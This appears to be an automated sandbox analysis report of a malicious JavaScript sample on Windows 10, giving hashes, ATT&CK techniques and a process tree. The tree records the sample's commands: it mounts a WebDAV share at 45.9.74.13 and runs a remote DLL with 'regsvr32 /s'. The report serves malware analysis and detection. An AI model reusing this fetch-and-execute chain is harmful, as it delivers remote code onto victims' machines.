4374ba92c056eacdd6109b0c9ea1306bbcc6d53bb0e56ab5ee4b69f7cd7015be

Analysis

max time kernel
95s
max time network
101s
platform
windows10-2004_x64
resource
win10v2004-20240704-en
resource tags

arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
submitted
09/07/2024, 08:55

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General

Target

17875271112736223481.js
Size

5KB
MD5

3c92fccbeea4810a9b388189faabef3f
SHA1

1db68f8566b3d031eaadf62574f0de72ae23f237
SHA256

4374ba92c056eacdd6109b0c9ea1306bbcc6d53bb0e56ab5ee4b69f7cd7015be
SHA512

a488beb471bd539553d61197ef3a1b1cef5e5de20d58671941b687df3fd8780ad88471f67f3e31cdd17f57a0379a4fe67ff37eaa5975312a95da7402a5a197ea
SSDEEP

96:ad/Pe9SR0TWKDNssJR1RjxNssJR1RcpkJVIG/3hX8FQS37FgEk/T:aZPjnSssJv9ssJvGpuVI89U3RgEk/T

Score

7^/10

execution

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-587429654-1855694383-2268796072-1000\Control Panel\International\Geo\Nation	wscript.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3044 wrote to memory of 3952	3044	wscript.exe	82
PID 3044 wrote to memory of 3952	3044	wscript.exe	82
PID 3952 wrote to memory of 3712	3952	cmd.exe	86
PID 3952 wrote to memory of 3712	3952	cmd.exe	86
PID 3952 wrote to memory of 1436	3952	cmd.exe	87
PID 3952 wrote to memory of 1436	3952	cmd.exe	87

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\17875271112736223481.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3044
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\17875271112736223481.js" "C:\Users\Admin\\bxcrdz.bat" && "C:\Users\Admin\\bxcrdz.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3952
- - C:\Windows\system32\net.exe
    net use \\45.9.74.13@8888\DavWWWRoot\
    3⤵
    PID:3712
- - C:\Windows\system32\regsvr32.exe
    regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\353.dll
    3⤵
    PID:1436

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\bxcrdz.bat

Filesize
5KB

MD5
3c92fccbeea4810a9b388189faabef3f

SHA1
1db68f8566b3d031eaadf62574f0de72ae23f237

SHA256
4374ba92c056eacdd6109b0c9ea1306bbcc6d53bb0e56ab5ee4b69f7cd7015be

SHA512
a488beb471bd539553d61197ef3a1b1cef5e5de20d58671941b687df3fd8780ad88471f67f3e31cdd17f57a0379a4fe67ff37eaa5975312a95da7402a5a197ea

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